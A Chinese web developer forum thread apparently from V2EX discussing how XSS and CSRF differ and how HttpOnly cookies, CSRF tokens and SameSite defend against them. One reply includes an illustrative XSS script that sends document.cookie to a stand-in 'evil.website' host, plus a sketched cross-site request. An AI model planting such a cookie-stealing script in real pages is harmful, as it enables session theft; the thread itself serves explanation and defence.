1 mxT52CRuqR6o5 2021-02-03 11:19:12 +08:00 xss 是你把服务端内容直接用 InnerHTML 插到 document 里才会有风险的啊,又不是调用接口就有 xss 风险 |
2 mxT52CRuqR6o5 2021-02-03 11:21:12 +08:00 还是说你们所有接口都是 jsonp ? |
![]() | 3 mokeyjay 2021-02-03 11:23:27 +08:00 ![]() 我没明白“权限这类信息”为什么要存在 cookie 里,以及为什么存在 cookie 里就能防 xss |
![]() | 4 LeeReamond OP @mokeyjay localstorage sessionstorage,cookie 可以 httponly 避免 js 读取,不就防止 xss 么 |
![]() | 5 LeeReamond OP @mxT52CRuqR6o5 现在一般都是框架开发,基本没有 xss 问题,但是你还是要选型,比如你的敏感信息究竟存在什么位置,我想深究一下就来问一下 |
![]() | 6 beastk 2021-0203 11:31:39 +08:00 via iPhone samesite |
7 weyou 2021-02-03 11:52:40 +08:00 信息存在 cookie 里和防 xss 有啥关系, httponly 只是用来保护 cookie 不被 XSS 脚本读取的, 而不是本末倒置为了防 xss 而采用 cookie 保存信息的. 但这种方式并不能阻止浏览器在 CSRF 的跨站请求里自动带上 cookie. 而 HTML 内容或者 URL 里的 CSRF token 对于跨站攻击脚本来说是不可见的, 验证 CSRF token 就可以阻挡掉这种恶意的跨站攻击请求. |
8 xiaoding 2021-02-03 12:02:41 +08:00 题主概念搞混乱了。 1.xss 和 csrf 是两个不同的东西 2.cookie 里面设置 httponly 是为了防止 xss 脚本读取 cookie 发送给黑客 3.csrf 一般是通过 get 或者 post 里面的 token 和 cookie 或者 session 里面的 token 做校验来防护的 4.如果网站有 xss 漏洞,那么 csrf 漏洞也会有,csrftoken 机制有效的前提是没有 xss |
![]() | 9 340244120w 2021-02-03 12:13:50 +08:00 via iPhone ![]() |
10 ArcticL 2021-02-03 12:17:07 +08:00 6 楼正解,samesite 之前一般是通过 token 或者验证 href 去防御的,一般使用 token 是框架集成使用比较方便。另外 cookie 跟防御 xss 和 csrf 没啥关系 |
![]() | 11 binux 2021-02-03 12:24:48 +08:00 via Android 你都被 xss 了,还担心 csrf 个什么劲啊。 |
![]() | 12 hanssx 2021-02-03 12:38:02 +08:00 jwt token |
![]() | 13 sazima 2021-02-03 13:00:46 +08:00 same site 就行. |
![]() | 14 abersheeran 2021-02-03 13:46:20 +08:00 设计一个接口让前端可以直接读 CSRF Token 就是错误的。前端不需要这样的接口。 CSRF 攻击的原理是浏览器在访问网站时,会自动携带对应网站的 Cookies,这样就不需要读取你的 Cookies 照样可以用你的身份发起一些非你意愿的请求。 CSRF 防护原理是在 Cookies 里增加一个随机字符串,在请求时,表单或请求头中必须携带这个随机串。以此保证发起请求的一方是能够读取你 Cookies 的客户端。 |
![]() | 15 GG668v26Fd55CP5W 2021-02-03 13:59:46 +08:00 via iPhone ![]() 被 xss 的情况下,csrf 是没意义的,攻击者能操纵 js,自然能获得 token,甚至还能提交,防 csrf 的前提是没被 xss 。 |
![]() | 16 no1xsyzy 2021-02-03 14:09:52 +08:00 打个比方,你在访问 V2 时有人 XSS: <script> fetch("http://evil.website/upload/cookie", {data:document.cookie}); </script> 如果没过滤,那你的 cookie 就泄漏给了第三方网站 httponly 阻止了 js 读取 cookie 而如果你在访问 evil.website 时,evil.website 的拥有者攻击你。 <script> $.ajax("https:////v2ex.com/thank/topic/...") </script> 就算根本不是同一个网站,但却可以在请求的时候让它自动带上 cookie,这就是 CSRF 。 所以有个 once 值,只有知道最新的 once 值才能发送感谢。 这两个可能混淆的一点就是把 XSS 作中间跳板 通过一个网站的 XSS 漏洞实现对另一个网站的 CSRF 攻击 |
![]() | 17 ReinerShir 2021-02-03 14:30:53 +08:00 @no1xsyzy XSS 的前提是用户提交的 JS 代码会被执行,现在前端开发一般用框架所以就算提交了 JS 代码也不会被执行吧? 另外想双重保险的话可以再过滤下请求参数里的 scirpt 标签、js 代码等,所以目前还有什么攻击手段可以绕过吗? |
![]() | 18 meepo3927 2021-02-03 16:50:03 +08:00 防 csrf 基本思想是确保请求来自 [本站] ,而不是 [外站] 。 [本站] 和 [外站] 一个主要区别是 本站(的脚本)能读本域的 cookie 。 |
19 YouLMAO 2021-02-03 16:54:51 +08:00 via Android 小年轻阿 |
![]() | 20 no1xsyzy 2021-02-03 19:20:35 +08:00 @ReinerShir TL;DR: 只要前端不羁越框架、前后端沟通顺畅,就没有。 XSS 漏洞的产生主要来源于偷懒,并不是本质易受攻击(和 CSRF 不一样) 和 eval 问题相似,你是完全可以写一个彻底安全的 sandbox eval 的,只要重新写一套词法分析器、语法分析器、解释器,然后把恰当的接口暴露给该环境就行。但是 eval 放那儿,图方便就直接调用了,就产生了漏洞。 HTML/DOM 同理,div.innerHTML = user_input_string 只是一个 HTML/DOM 下的 eval 罢了。 其次就是疏忽。 凡称“框架”必能解决这两个问题,在框架内办事,就出不了格。 |
![]() | 21 LeeReamond OP @xiaoding 我概念没有搞混,你前三点和我说的一样,我想确认一下第四点是不是对的 |
![]() | 22 LeeReamond OP @abersheeran 我觉得你没有理解我说的话,你说的随机字符串的方案,就是我帖子一开始第一句说的 csrftoken,问题是我觉得既然 js 可以读取,那么还是会被 xss 漏洞攻破,如果出现的话,这种防御就没了意义。不如干脆不存在 cookie 里,可以断绝 csrf |
![]() | 23 OHyn 2021-02-03 23:26:47 +08:00 @ReinerShir 现在不少用 jquery 拼字符串的老网站还是有 xss 风险,过滤下挺好。。。。 |
![]() | 24 OHyn 2021-02-03 23:33:04 +08:00 @LeeReamond 是,鉴权的 token 不放 cookie 里,直接解决 csrf 这种以蹭 cookie 为手段的攻击。chrome > 80, SameSite 默认 Lax,基本搞定 csrf 的问题了。 |
![]() | 25 Rocketer 2021-02-03 23:48:26 +08:00 via iPhone 有一点需要特别明确XSS 是指攻击者执行受害者在另一个网站的脚本,这个脚本通常还是官方的(比如在受害者不知情的情况下执行他网银的转账脚本)。 如果攻击者能执行另一个网站的自定义代码,那攻击者就无所不能了,因为他可以完整模拟受害者的身份了。CSRF 防御手段根本识别不出 |
![]() | 26 rodrick 2021-02-04 08:24:47 +08:00 "这不还是变回 xss 问题了么",这句话也没说错,但是防御 csrf 的前提是 xss 防护肯定得做好,包括 HTTP-only Cookie 只能算是其中一种防御方式 CSRF Token 是有弊端的,不是什么场合都可以使用的,一般如果自己做都是通过多种方式联合,虽然我也没实际做过但是理论上是这样。 你这个问题我刚学这玩意的时候也想过,后来想明白了其实这俩是完全不同的东西,不要捆绑在一起去思考 |
![]() |   27 rodrick 2021-02-04 08:28:44 +08:00 @rodrick 关于 csrf token,理论上是这样的:”如果 同时被 XSS 攻击 ,攻击者先发起一次,用跨域方法绕过同源策略,就可以读取目标网站的 Token,甚至拿到 cookie“,所以发生这种情况的前提还是 XSS 做的有问题 |
![]() | 28 abersheeran 2021-02-04 09:13:01 +08:00 @LeeReamond 是啊。CSRF 攻击本就是针对 Cookies 的设计缺陷。你都不用它了,自然攻击不到你。XSS 攻击就更宽泛,只要是浏览器里 JS 能做到的,XSS 攻击都可以做到。 |
![]() | 29 AV1 2021-02-04 09:54:52 +08:00 @OHyn 我见到现在许多还在固守 jquery 一把梭的,就喜欢拼接 html 字符串,然后$(xxxx).html(xxx),简直是 XSS 的天堂。 |
![]() | 30 Asashiharuka 2021-02-04 10:39:54 +08:00 父 token,禁止 ajax 获取 token |